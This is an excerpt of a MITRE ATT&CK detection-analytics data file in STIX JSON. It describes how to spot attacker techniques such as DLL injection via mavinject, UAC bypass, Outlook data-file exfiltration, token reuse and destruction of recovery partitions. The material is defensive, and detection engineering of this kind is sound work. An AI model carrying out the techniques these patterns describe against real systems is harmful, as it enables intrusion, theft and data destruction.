                    "description": "Identify rare or first-time DCOM invocations by specific accounts"
                },
                {
                    "field": "ProcessName",
                    "description": "List of suspicious executables commonly abused via DCOM (e.g., excel.exe, wmiprvse.exe)"
                },
                {
                    "field": "RemoteHostList",
                    "description": "Known set of systems that should or should not be invoking DCOM activity"
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            ]
        },
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                    "external_id": "AN1499"
                }
            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1499",
            "description": "VMware services (hostd, vpxa) unexpectedly negotiating asymmetric crypto sessions to external endpoints outside vCenter or update servers. Defender sees encrypted handshakes in logs inconsistent with baseline ESXi communication patterns.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "esxi:vpxd",
                    "channel": "ESXi process initiating asymmetric handshake with external host"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "esxcli:network",
                    "channel": "Socket inspection showing RSA key exchange outside baseline endpoints"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "BaselineMgmtHosts",
                    "description": "Expected external endpoints (vCenter, update repos)."
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            ],
            "x_mitre_deprecated": false
        },
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0387#AN1093",
                    "external_id": "AN1093"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1093",
            "description": "Detects anomalous ARP cache changes and unsolicited ARP broadcasts using unified logs and packet capture. Behavioral detection includes multiple IP addresses mapped to the same MAC address and repeated gratuitous ARP traffic.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
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            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "macos:unifiedlog",
                    "channel": "ARP table updates inconsistent with expected gateway or DHCP lease assignments"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Excessive gratuitous ARP replies on local subnet"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "GatewayMACBaseline",
                    "description": "Known MAC addresses for gateways or DHCP servers; used to detect spoofed ARP entries."
                },
                {
                    "field": "CorrelationDepth",
                    "description": "How many ARP inconsistencies to tolerate before escalating detection."
                }
            ],
            "x_mitre_deprecated": false
        },
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1179"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1179",
            "description": "Identify processes issuing repeated DNS queries to random-looking domains with abnormal entropy or word concatenations. Correlate resolver logs with high NXDOMAIN rates and auditd socket connections.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
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            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "auditd:SYSCALL",
                    "channel": "socket/connect"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "linux:syslog",
                    "channel": "Multiple NXDOMAIN responses and high entropy domains"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "NXDOMAINThreshold",
                    "description": "Ratio of failed queries triggering alert (e.g., >40%)"
                },
                {
                    "field": "DomainAge",
                    "description": "Flag queries to domains registered in last 7\u201330 days"
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            ],
            "x_mitre_deprecated": false
        },
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0010#AN0027",
                    "external_id": "AN0027"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0027",
            "description": "Monitors cloud function creation triggered by specific audit log events (e.g., IAM changes, object creation), followed by anomalous behavior from new service accounts.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e",
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                    "channel": "CreateFunction"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "AWS:CloudTrail",
                    "channel": "InvokeFunction"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TriggerEventType",
                    "description": "Specific cloud event (e.g., PutObject, CreateRole) that causes function invocation"
                },
                {
                    "field": "ServiceAccountRole",
                    "description": "Expected permissions for roles used in function execution"
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
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                    "external_id": "AN0805"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0805",
            "description": "Detects creation or modification of crontab entries by non-root users or from abnormal parent processes, followed by the execution of uncommon binaries at scheduled intervals.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
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            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "auditd:SYSCALL",
                    "channel": "write"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CronFilePath",
                    "description": "System-specific crontab paths may vary across distros or deployments."
                },
                {
                    "field": "RunUser",
                    "description": "Define if only root or specific admin users are allowed to schedule jobs."
                },
                {
                    "field": "ExecutionFrequency",
                    "description": "Threshold for suspicious repetition (e.g., every minute jobs)."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--0fc0c7ce-e56d-4f3f-ab91-903861124816",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0874#AN2006",
                    "external_id": "AN2006"
                },
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
                },
                {
                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                }
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 2006",
            "description": "Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e",
                    "name": "Internet Scan",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da",
                    "name": "Internet Scan",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--0fe7a1db-759d-4d27-8ef1-a71509643594",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0076#AN0209",
                    "external_id": "AN0209"
                }
            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0209",
            "description": "Detects execution of VB-based scripts or macros (VBS/VBA/VBScript) through cscript.exe/wscript.exe, Office-based process chains, or HTA usage. Focuses on chained behavior: Office or HTML container spawns script host > script host spawns PowerShell, network connections, or process injection.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ParentProcess",
                    "description": "Microsoft Word/Excel or mshta.exe spawning wscript.exe/cscript.exe."
                },
                {
                    "field": "UserContext",
                    "description": "Script execution by non-admin users or service accounts."
                },
                {
                    "field": "TimeWindow",
                    "description": "Script execution outside normal business hours or patching cycle."
                },
                {
                    "field": "PayloadEntropyThreshold",
                    "description": "High entropy indicative of obfuscation or encoding in the script."
                },
                {
                    "field": "ModuleName",
                    "description": "Loading of vbscript.dll, scrrun.dll, or other scripting engine modules."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--0fff438f-1aa9-4424-be94-a08b400adcb0",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0433#AN1207",
                    "external_id": "AN1207"
                }
            ],
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1207",
            "description": "Abuse of mavinject.exe to inject DLLs or import descriptors into another running process. Chain: (1) mavinject.exe starts with /INJECTRUNNING or /HMODULE \u2192 (2) mavinject obtains high-access handles to a target process (VM_WRITE/CREATE_THREAD) \u2192 (3) target process loads attacker DLL (module load) \u2192 (4) optional follow-on child activity or network egress from the target process.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Correlation interval (e.g., 5\u201310 minutes) linking mavinject start \u2192 ProcessAccess \u2192 module load/network from the target process."
                },
                {
                    "field": "DLLPathRegex",
                    "description": "Patterns for suspicious DLL locations (e.g., %TEMP%, Downloads, UNC shares) to reduce noise from legitimate injections."
                },
                {
                    "field": "TargetProcessAllowList",
                    "description": "Common legitimate targets for App-V (if used) to suppress; flag unusual targets like browsers, LSASS, Winlogon, EDR processes."
                },
                {
                    "field": "MinGrantedAccessSet",
                    "description": "Set of access rights that imply injection (VM_WRITE, VM_OPERATION, CREATE_THREAD). Tune for your EDR/sysmon formatting."
                },
                {
                    "field": "ParentProcessFilter",
                    "description": "Legitimate parents starting mavinject (e.g., App-V services) vs. suspicious parents (Office, script hosts, browsers)."
                },
                {
                    "field": "ExternalIPAllowlist",
                    "description": "Known enterprise update/CDN ranges to exclude when correlating post-injection network activity."
                },
                {
                    "field": "SignedToUnsignedTransition",
                    "description": "Alerting when Microsoft-signed mavinject leads to loading unsigned DLLs in a target process."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--101d4e7f-4282-4fea-89be-e17d97ca0b91",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0417#AN1176",
                    "external_id": "AN1176"
                }
            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1176",
            "description": "Monitor pmset command executions altering sleep/hibernate/standby parameters. Unexpected modifications to /Library/Preferences/SystemConfiguration/com.apple.PowerManagement.plist or similar files should be correlated with process activity.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Process creation events where command line = pmset with arguments affecting sleep, hibernatemode, displaysleep"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "macos:unifiedlog",
                    "channel": "write: File modification to com.apple.PowerManagement.plist or related system preference files"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AdminWhitelists",
                    "description": "Allowlist expected pmset invocations by IT administrators for power policy enforcement."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--10222534-1e1d-473c-a2cb-674126f87ad8",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0828#AN1960",
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                {
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                    "field": "CommandLine",
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            ],
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        },
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            "description": "Detection of cron-based or script-based recurring transfers where the same script, user, or destination reappears at predictable intervals.",
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                    "channel": "execve"
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                    "channel": "cron activity"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "NSM:Flow",
                    "channel": "Outbound Connections"
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                    "field": "ScriptPathRegex",
                    "description": "Path patterns for shell scripts responsible for scheduled transfers"
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                {
                    "field": "CronIntervalThreshold",
                    "description": "Minimum repetition frequency (e.g., 24h for daily jobs)"
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                {
                    "field": "ExfilUserContext",
                    "description": "Suspicious or unexpected users launching scheduled transfers"
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            "description": "Detection focuses on processes that attempt to locate, access, or exfiltrate local Outlook data files (.pst/.ost) using file system access, native Windows utilities (e.g., PowerShell, WMI), or remote access tools with file browsing capabilities. The behavior chain includes directory enumeration, file access, optional compression or staging, and network transfer.",
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            "x_mitre_domains": [
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                    "channel": "EventCode=4663, 4670, 4656"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "channel": "EventCode=1"
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                    "channel": "EventCode=3, 22"
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                    "field": "TimeWindow",
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                },
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                    "field": "UserContext",
                    "description": "Limit detection to user accounts not normally interacting with Outlook file locations (e.g., service accounts, low-privileged users)."
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                {
                    "field": "ProcessAllowList",
                    "description": "Filter known legitimate Outlook-accessing processes to reduce false positives."
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                    "channel": "/var/log/syslog.log"
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                    "name": "NSM:FLow",
                    "channel": "dns.log"
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                {
                    "field": "OutboundDNSVolume",
                    "description": "Threshold for data volume and frequency from ESXi IPs"
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                {
                    "field": "KnownGoodVIBs",
                    "description": "Baseline known packages for allowlist comparison"
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                    "channel": "EventCode=1"
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                    "channel": "EventCode=15"
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                {
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                    "description": "Time between LNK execution and subsequent suspicious activity may vary based on adversary delay."
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                    "description": "Could be used to focus on .lnk files only or track associated dropped payloads like .dat, .exe, etc."
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            "description": "Correlate registry modifications (e.g., UAC bypass registry keys), unusual parent-child process relationships (e.g., control.exe spawning cmd.exe), and unsigned elevated process executions with non-standard tokens or elevation flags.",
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            "x_mitre_domains": [
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                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4672"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
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            ],
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                    "field": "ElevatedProcessPath",
                    "description": "Paths to monitor for unsigned or unexpected elevated binaries"
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                {
                    "field": "ParentProcessName",
                    "description": "Parent-child execution chains that are suspicious in the local environment"
                },
                {
                    "field": "TimeWindow",
                    "description": "Time between registry modification and elevated process spawn"
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            "name": "Analytic 0410",
            "description": "Detection of firewall ACL or rule base changes through CLI (e.g., no access-list, permit any any). Monitor configuration commits from unusual users or sessions.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Network Devices"
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f",
                    "name": "networkdevice:cli",
                    "channel": "firewall disable commands or suspicious ACL modifications"
                }
            ],
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                {
                    "field": "AuthorizedAdmins",
                    "description": "List of approved admin accounts allowed to modify firewall ACLs."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--121a5310-3157-47b1-925e-998767c0ec06",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "name": "Analytic 0982",
            "description": "Use of tools like xwd or import to generate screenshots, especially under non-GUI parent processes.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Linux"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TerminalSession",
                    "description": "Filter based on TTY sessions or remote terminal usage"
                },
                {
                    "field": "ExecutablePath",
                    "description": "Match against known location of xwd/import binaries or renamed variants"
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            ],
            "x_mitre_deprecated": false
        },
        {
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            "id": "x-mitre-analytic--126a43e3-7b39-4312-ba15-aab0f7ce78f9",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "AN1193"
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            "name": "Analytic 1193",
            "description": "Processes accessing raw logical drives (e.g., \\.\\C:) to bypass file system protections or directly manipulate data structures.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TargetObjectPattern",
                    "description": "Regex pattern to detect access to raw disk volumes like `\\Device\\HarddiskVolume` or `\\.\\PhysicalDrive*`."
                },
                {
                    "field": "ParentProcess",
                    "description": "Tune for known tools/scripts (e.g., powershell.exe, cmd.exe) often used in misuse scenarios."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate file access and creation across a short time window to avoid false positives."
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            ],
            "x_mitre_deprecated": false
        },
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            "id": "x-mitre-analytic--126cff4b-4ba7-4464-bfc8-4daabed5e05b",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0203",
            "description": "Web session tokens reused in native Office apps (e.g., Outlook, Teams) without associated token refresh or login behavior on the endpoint.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Office Suite"
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            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "m365:unified",
                    "channel": "UserLoggedIn"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "EndpointTokenSyncGap",
                    "description": "Allowed delta between endpoint login and cloud token reuse"
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            ],
            "x_mitre_deprecated": false
        },
        {
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "AN0372"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0372",
            "description": "Adversary-created named mutex using system APIs (e.g., CreateMutexW) followed by conditional process termination or alternate code path indicating malware avoiding reinfection.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
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            "x_mitre_log_source_references": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "mutex_name_entropy_threshold",
                    "description": "Filter out common benign mutex names; highlight suspicious high-entropy/dynamic names."
                },
                {
                    "field": "parent_process_path",
                    "description": "Limit alerting to non-standard parent-child relationships indicative of malware staging or self-spawning."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate mutex creation + rapid process exit or lack of further activity within a short timeframe."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--128315ea-6407-4c28-8528-209e799ad8e1",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1020"
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1020",
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                    "description": "Detect known-good vs. abnormal launching binaries (e.g., mshta spawning Tor)."
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                    "field": "ConnectionDuration",
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                    "field": "AllowedCDNs",
                    "description": "Corporate CDNs/update hosts to reduce false positives."
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                    "description": "Set timing threshold for execution shortly after drive mount (e.g., < 5 minutes)."
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                    "field": "ParentProcess",
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                {
                    "field": "FileEntropy",
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                    "name": "AWS:CloudTrail",
                    "channel": "GetAccountPasswordPolicy"
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                    "field": "CloudReadOnlyApps",
                    "description": "Approved security tooling principals that routinely read policy."
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                {
                    "field": "ApiClientIPAllowList",
                    "description": "Corporate egress IPs for administrative API access."
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            ],
            "x_mitre_deprecated": false
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            "description": "Monitor Mail.app activity or unified logs for anomalous SMTP usage, including mismatches between display name and authenticated AppleID or Exchange credentials. Detect use of third-party mail utilities that attempt to send on behalf of corporate identities.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "name": "macos:unifiedlog",
                    "channel": "Mail.app or third-party clients sending messages with mismatched From headers"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TrustedMailClients",
                    "description": "Allowlist known third-party clients used for legitimate email activity."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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            "created": "2025-10-21T15:10:28.402Z",
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            "name": "Analytic 0959",
            "description": "Access token reuse to connect to SharePoint or Outlook APIs without interactive user context.",
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Office Suite"
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            "x_mitre_log_source_references": [
                {
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                    "name": "m365:unified",
                    "channel": "TokenIssued, FileAccessed"
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            ],
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                {
                    "field": "UserAgentCheck",
                    "description": "Tune to detect access from CLI agents or scripts rather than interactive browsers"
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            ],
            "x_mitre_deprecated": false
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "channel": "log stream 'eventMessage contains pubsub or broker'"
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                {
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                    "name": "macos:osquery",
                    "channel": "socket_events"
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                {
                    "field": "AppContextFilter",
                    "description": "Applications not known to use pub/sub protocols"
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                {
                    "field": "URIPathRegex",
                    "description": "Custom path patterns to message brokers over HTTPS"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                {
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                    "name": "auditd:SYSCALL",
                    "channel": "dmesg"
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                    "field": "SetUIDBinaryList",
                    "description": "Legitimate SUID binaries vary across distributions; false positives may arise."
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                {
                    "field": "TimeWindow",
                    "description": "Allows chaining kernel module load with privilege spike or privilege-sensitive process activity."
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                {
                    "field": "EffectiveUIDThreshold",
                    "description": "Default is uid=0, but environments may vary with containerized root-like accounts."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0934",
            "description": "Shell utilities or scripts deleting `/etc/systemd/system/rescue.target`, `/etc/fstab` backups, or `/boot/efi` partitions; chattr used to block snapshot auto-recovery",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "name": "auditd:SYSCALL",
                    "channel": "chattr, rm, shred, dd run on recovery directories or partitions"
                },
                {
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                    "name": "auditd:CONFIG_CHANGE",
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                    "description": "Modify to include specific OS backup configs or LVM snapshots"
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                {
                    "field": "ShellProcessUser",
                    "description": "Restrict detection to root or sudo users"
